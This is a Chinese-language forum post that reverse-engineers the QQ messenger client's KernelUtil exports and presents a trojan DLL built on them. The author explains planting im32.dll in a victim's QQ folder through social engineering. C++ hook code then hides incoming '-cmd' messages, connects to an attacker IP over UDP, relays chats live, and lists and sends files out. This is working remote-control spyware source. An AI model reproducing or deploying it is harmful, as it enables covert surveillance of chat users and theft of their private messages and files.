代碼:
3119CBCD FF15 6CA92A31 call dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::GetSelfUin
3119CBD3 50 push eax
3119CBD4 68 10542B31 push 312B5410 ; UNICODE "buddy"
3119CBD9 FF15 C4A72A31 call dword ptr [<&KernelUtil.Util::Ms>; KernelUt.Util::Msg::SaveMsg
3119CBDF 8B45 EC mov eax, dword ptr [ebp-14]
3119CBE2 83C4 18 add esp, 18
3119CBE5 3BC3 cmp eax, ebx
3119CBE7 885D FC mov byte ptr [ebp-4], bl
3119CBEA 74 08 je short 3119CBF4
再Ctrl+F9,便來(lái)到如下位置:
代碼:
3116B922 8B45 F0 mov eax, dword ptr [ebp-10]
3116B925 8B48 0C mov ecx, dword ptr [eax+C]
3116B928 51 push ecx
3116B929 FF15 58A82A31 call dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::IsPrevented
3116B92F 83C4 04 add esp, 4
3116B932 85C0 test eax, eax
3116B934 0F85 44010000 jnz 3116BA7E
3116B93A 50 push eax
3116B93B 8D55 D0 lea edx, dword ptr [ebp-30]
當(dāng)看到KernelUt.Util::Contact::IsPrevented這個(gè)導(dǎo)出函數(shù)時(shí),感覺(jué)這個(gè)函數(shù)應(yīng)該是用來(lái)判斷是否屏蔽某人對(duì)自己的消息的(因?yàn)镼Q有一個(gè)功能是屏蔽此人消息);通過(guò)調(diào)試,果如其然,這個(gè)IsPrevented函數(shù)的參數(shù)就是對(duì)方的QQ號(hào)碼,返回值為BOOL值;單步調(diào)試過(guò)此函數(shù)后,將eax的零改為一,就不顯示接收到此人消息了。。。
由此引發(fā)的聯(lián)想是,如果我利用qq聊天窗口向?qū)Ψ桨l(fā)送命令,豈不可以達(dá)到遠(yuǎn)程控制的目的?
具體流程如下:
1.將此im32.dll文件放入對(duì)方Bin目錄下,社會(huì)工程學(xué)的東西。
2.對(duì)方運(yùn)行加載了此im32.dll的QQ后,可以給對(duì)方發(fā)送命令,達(dá)到遠(yuǎn)程控制的目的。
如:
-cmd ip 127.0.0.1 //給對(duì)方發(fā)送自己的ip地址;此時(shí),im32.dll會(huì)使用UDP連接此ip。
-cmd msg //實(shí)時(shí)發(fā)送聊天信息給對(duì)方。
-cmd dir D:\*.* //枚舉某一目錄下的所有文件,并發(fā)給對(duì)方。
-cmd file D:\123.txt //發(fā)送某文件給對(duì)方。
更多的功能可以自己添加。
實(shí)現(xiàn)代碼如下:
代碼:
HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long dstqq, unsigned long srcqq, unsigned long data3,
struct ITXMsgPack * pmsg, struct ITXData * pdata)
{
bCmd=FALSE;
wchar_t * msg=NULL;
AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);//獲取聊天信息
if(srcqq==QQ)//判斷是否是對(duì)方QQ號(hào)碼
{
if(msg[0]=='-'&&msg[1]=='c'&&msg[2]=='m'&&msg[3]=='d')//-cmd,判斷是否是命令
{
bCmd=TRUE;//標(biāo)記是命令
ExecuteCmd(&msg[5]);//命令處理
return 0;//如果是命令,就不SaveMsg,即不保存聊天信息,直接返回
}
}
if(nSendType==1)
{
SendMsg(msg,dstqq,srcqq);//實(shí)時(shí)發(fā)送聊天信息給對(duì)方
}
ChookSaveMsgKey->HookStatus(FALSE);
(MsgSave)SaveMsg(str,dstqq,srcqq,data3,pmsg,pdata);//保存聊天信息
ChookSaveMsgKey->HookStatus(TRUE);
return 0;
}
int Hook_IsPrevented(unsigned long qq)
{
if(qq==QQ&&bCmd)//如果QQ號(hào)碼是對(duì)方,并且發(fā)送的是命令
{
bCmd=FALSE;//清空標(biāo)記
return 1;//返回1,即屏蔽此人消息,這樣本方就不會(huì)提示收到此信息了,達(dá)到利用qq聊天窗口作為命令窗口的目的
}
ChookIsPreventedKey->HookStatus(FALSE);
(IsPrevented)IsOldrevented(qq);
ChookIsPreventedKey->HookStatus(TRUE);
return 0;
}
void ExecuteCmd(wchar_t * cmdkey)
{
//Unicode編碼轉(zhuǎn)換為Multi-Byte編碼
int len = WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), NULL, 0, NULL, NULL);
char * buffer = new char[len + 1];
WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), buffer, len, NULL, NULL);
buffer[len] = '\0';
if(buffer[0]=='i'&&buffer[1]=='p')//ip
{
ConnectServer(&buffer[3]);
}
else if(buffer[0]=='b'&&buffer[1]=='o'&&buffer[2]=='x')//box
{
ShowMessageBox(&buffer[4]);
}
else if(buffer[0]=='m'&&buffer[1]=='s'&&buffer[2]=='g')//msg
{
nSendType=1;
}
else if(buffer[0]=='d'&&buffer[1]=='i'&&buffer[2]=='r')//dir
{
SendDir(&buffer[4]);
}
else if(buffer[0]=='f'&&buffer[1]=='i'&&buffer[2]=='l'&&buffer[3]=='e')//file
{
SendFile(&buffer[5]);
}
delete[] buffer;
}